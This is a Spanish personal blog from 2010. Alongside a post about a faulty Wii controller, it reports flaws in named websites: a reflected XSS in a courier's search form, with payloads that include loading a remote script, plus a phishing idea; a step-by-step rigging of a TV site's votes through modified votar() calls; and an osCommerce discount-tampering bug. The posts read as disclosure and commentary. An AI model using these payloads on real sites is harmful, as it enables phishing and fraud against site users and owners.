domingo, 13 de junio de 2010

Problema con mando compatible para Wii

La semana pasada compramos una Nintendo Wii, pero no voy a entrar en el debate sobre si es mejor una PS3 o una X-Box, para eso ya otros muchos blogs y foros, el motivo de este post es comentar el tema de los mandos compatibles para la Wii.

Cuando compramos la consola teniamos pensado utilizarla en pareja, es decir, buscar la mayor cantidad de títulos que nos dieran la posibilidad de jugar los dos (o más) al mismo tiempo pero uno de los principales problemas que te encuentras es que, por lo general, solo se incluye un mando así que te ves obligado a comprar otro adicional pero claro, después de hacer el desembolso de la consola pues "duele" tener que pagar casi 80 euros por el mando adicional.

Realmente el mando actual de la Wii lo forman tres accesorios, el mando principal (39.95€), el Nunchacu (19.95€) y el Motion Plus (19.95€), lo que hace la bonita suma de 79.85€


A estos tres accesorios hay que añadirle una "bonita" funda de silicona que suele venir incluida con el mando principal o con el Motion Plus.

Ahora ya conocemos los mandos de la Wii y tenemos claro que no queremos dejarnos 80 euros por lo que al ver que existen mandos compatibles se nos abren los ojos y es que resulta tentador ya que un pack de la marca Mad Catz con el mando principal y el Nunchacu cuesta 39.90€

Solo faltaría el Motion Plus pero para empezar a probar la consola ya nos damos por bien servidos.
Todo parecía ir bien hasta que jugando al Wii Sport Resort, concretamente a los bolos, una vecina se dio cuenta que ella nunca hacia plenos mientras que los demás participantes los hacian con bastante facilidad. Después de unas cuantas rondas nos dimos cuenta que siempre utilizaba el mando compatible así que decidimos cambiar y desde ese momento empezó a subir su puntuación y a hacer plenos.

Algo parecia fallar en el mando compatible, es como si no diera suficiente impulso, pense que tal vez fueran las pilas o que necesitase el Motion Plus pero le cambie las pilas, incluso le puse las pilas del mando original pero no dio resultado como tampoco dio resultado ponerle el Motion Plus de Nintendo así que, muy a nuestro pesar decidimos devolverlo, pasar por el aro y comprar los mandos originales.

Felizmente nos dimos una pequeña alegria al ver que Nintendo también habia sacado un pack con el mando principal y el Motion Plus por 49.95€ por lo que si añadimos los 19.95 del Nunchacu el total asciende a 69.90€. El ahorro no es tan espectacular pero algo es algo ¿no?


Solo falta decir que con el nuevo mando original si se consiguieron nuevos plenos en los bolos.
Con esto no quiero decir que todos los mandos compatibles tengan algún tipo de problema ni que los de Mad Catz lo tengan, simplemente pudo ser que el que nos tocó estaba defectuoso.

En DealExtreme también existen multitud de accesorios para Wii y entre ellos podemos encontrar el mando original con el Nunchacu y el Motion Plus.

miércoles, 9 de junio de 2010

Wally paseandose por Seur

Wally vuelve a pasearse a sus anchas por otra página con XSS, en este caso, la web de SEUR.

El formulario del buscador no filtra la entrada del usuario que es mostrada como parte de la búsqueda por lo que cualquier script introducido será ejecutado como parte de la página, ya sea el típico

<script>alert("hola mundo")</script>

o algo más peligroso como

<script src="http://dominio.com/script.js"></script>


Lo peor de todo esto es que el parámetro del buscador esta accesible mediante la url de la página (parámetro ayudaTextBox) por lo que se puede incluir este script en un enlace y enviarlo a cualquier persona.


Sigo pensando que el XSS esta infravalorado ya que realmente se pueden hacer muchas maldades utilizando pequeños scripts ¿y si en lugar de poner una imagen mostrando al inocente Wally modificasemos el script para que mostrase un formulario de registro similar al de la propia web pero capturando los datos del usuario? ¿podriamos hacer "picar" en el engaño a alguno de los usuarios registrados... seguramente sí.

Falsear votaciones de LaSexta

Últimamente estoy hablando mucho sobre los bookmarklets pero es que realmente tienen muchas aplicaciones. Normalmente son pequeños scripts que nos facilitan la vida al realizar tareas monotonas pero también permiten acceder a funcionalidad de la página lo cual puede ser "peligroso" si el programador no ha previsto que el usuario pueda hacer llamadas con parámetros modificados.

Concretamente, en LaSexta.com, son las votaciones las que pueden ser victima de este tipo de "ataques" ya que el programador ha supuesto que nadie alteraria los parámetros de entrada de sus funciones.

Veamos un ejemplo. Si accedemos esta página de LaSexta.com vemos un video de Dani Mateo en el programa "Se lo que hicisteis...", y un sistema de votaciones con las típicas estrellitas abajo a la derecha.


Si somos algo curiosos y miramos el código fuente de la página veremos que cada una de las estrellas tiene asociado un código javascript que se ejecutará al pulsar sobre ella.


Se puede apreciar que al pulsar sobre las estrellas se llama a la función votar indicandole un código que, a priori, no nos dice nada pero llama la atención ver como el primer caracter se corresponde con el número de puntos a sumar a la votación.

votar('1_155802_28_3_11') -- 1 punto
votar('2_155802_28_3_11') -- 2 puntos
votar('3_155802_28_3_11') -- 3 puntos
votar('4_155802_28_3_11') -- 4 puntos
votar('5_155802_28_3_11') -- 5 puntos

¿Que pasaría si forzamos una llamada a la función votar modificando ese parámetro?, por ejemplo:

votar('100_155802_28_3_11')

¿Se contabilizarian 100 puntos?. Para probarlo podemos escribir este código en la barra del navegador, al estilo de un bookmarklet.


Vaya, parece que no hemos tenido exito y la votación no ha sido reconocida, o, por lo menos, esa es la sensación que da al ver el texto "Undefined" junto a las estrellas de la votación. Debe ser que el programador ha tenido en cuenta este problema y verifica los datos de entrada de la función... ¿o no?

Veamos con otro ejemplo:
votar('5+70_273381_2_1_10')

Nuevamente, lo ejecutamos en la barra de direcciones del navegador y... ¡sorpresa!


¿Su voto fué guardado correctamente? ¿querra decir esto que efectivamente se ha actualizado la votación? ¿cuantos puntos se habrán contabilizado? Todas estas preguntas tienen respuesta al recargar la página ya que vemos que el computo final de la votación asciende a ¡¡¡75 votos!!!


Así que se puede apreciar que el código javascript modificado ha tenido exito y, de 0 votos ha pasado a tener 75, es decir 0+5+70. Curioso ¿verdad? ¿querrá decir esto que se puede indicar cualquier operación aritmética como parámetro en la función votar? vamos a ver otro ejemplo...

votar('5-15_155802_28_3_11')

Al ejecutarlo en el navegador podemos ver que efectivamente, se le han restado 10 votos (5-15 = -10) y que actualmente la votación tiene 65 puntos, es decir, 75+5-15.


Con lo que parece que se puede concluir que la función votar acepta cualquier tipo de operación aritmética de forma que es facil manipular este tipo de votaciones, incrementando o decrementando el número total de votos a nuestro gusto.

Una cosa a tener en cuenta en este proceso es que tanto el código de la función votar como el código utilizado para visualizar el número de votos se encuentra en el lado del cliente (código HTML/Javascript) por lo que normalmente el navegador lo tendrá cacheado y es por eso que parezca que no siempre se modifica la votación cuando debería (con borrar la caché se verá la votación actualizada). También hay que tener en cuenta que el sistema de votaciones de LaSexta no funciona demasiado bien con Internet Explorer (yo he usado Firefox) por lo que si lo intentais utilizando IE es posible que obtengais algún error de JavaScript.

domingo, 30 de mayo de 2010

Form Tampering en osCommerce

osCommerce es una aplicación web de código abierto que nos permite gestionar nuestra propia tienda virtual de forma facil, rápida y gratuita, tal vez por ello es una de las plataformas más utilizadas.

Los miembros de la comunidad osCommerce se encargan de mejorar la plataforma y de dotarla de nuevas funcionalidades así como de corregir algunos de los problemas que van surgiendo con el paso del tiempo.

Hoy queria comentar un caso de Form Tampering (manipulación de formularios) en uno de los módulos de dicha plataforma, concretamente el módulo "Points and Rewards", un módulo por el cual se premia a los usuarios con una determinada cantidad de puntos al realizar sus compras. Además, al registrarse en la tienda virtual obtienen una determinada cantidad de puntos como regalo de bienvenida. Estos puntos pueden ser transformados en descuentos en futuras compras.


Por un error en la implementacion de este módulo, la cantidad de puntos a descontar de la factura no era validado en el servidor por lo que se tomaba como correcto el valor que procedía del formulario contenido en la página checkout_payment.php de forma que era posible manipular dicho formulario (form tampering) e incrementar el número de puntos mediante un simple javascript.

Valor original:
Modificación del valor:


Al no realizarse una validación en el servidor, el descuento que se aplicaba en la factura era el indicado en el código javascript y no el valor original de forma que era posible realizar compras con grandes descuentos.


Este error fué solucionado a finales de febrero de 2009 pero a dia de hoy algunas tiendas online siguen utilizando versiones vulnerables lo que puede ocasionarles notables perdidas.


La actualización del módulo "Points and Rewards" se puede descargar desde aquí.